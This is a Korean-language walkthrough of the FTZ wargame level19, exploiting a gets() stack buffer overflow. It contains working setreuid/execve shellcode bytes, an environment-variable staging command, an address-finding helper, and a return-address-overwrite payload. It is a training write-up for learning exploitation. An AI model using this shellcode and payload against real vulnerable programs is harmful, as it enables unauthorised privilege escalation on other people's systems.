반응형
[FTZ] level19
level19로 로그인한 다음에 문제를 확인해 보았다.
이번에는 코드가 매우 짧다.
main()
{
char buf[20];
gets(buf);
printf("%s\n",buf);
}
쉘을 획득하기 위해서는
1) 다음레벨인 level20의 uid값인 3100로 uid 변경하여
2) level20의 권한으로 쉘 (/bin/sh) 실행이 필요하다.
하지만, 기존에는 위의 조건의 코드가 주어지지 않았다.
필요한 코드 :
setreuid(3100,3100);
system("/bin/sh");
문제해결 방법은,
setreuid와 exec("/bin/sh") 이 있는 쉘코드를 환경변수에 넣어 해당 주소를 RET에 덮어쓰면 된다.
gdb로 내용을 보면,
sub esp,0x28을 통해서 변수를 할당할 공간이 0x28(40bytes)인 것을 알 수 있다.
buf의 크기는 20bytes이니까 dummy의 크기도 20bytes이다.
1. setuid(3100,3100), exec("/bin/bash") 둘 다 있는 쉘코드 구하기
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
2. 해당 쉘을 환경변수로 저장하기
export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
3. 쉘의 주소 구하기 → 0xbffffc7e
get_addr.c 파일
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
위 정보를 종합하여 페이로드를 작성하면 :
buf(20bytes) + dummy(20bytes) + sfp(4bytes) ▶ 44bytes 길이로 해당길이를 "A"로 삽입
RET ▶ 환경변수안에있는 쉘의 주소 삽입(0xbffffc7e)
(python -c 'print "A"*44+"\x7e\xfc\xff\xbf"';cat) | ./attackme
성공!
반응형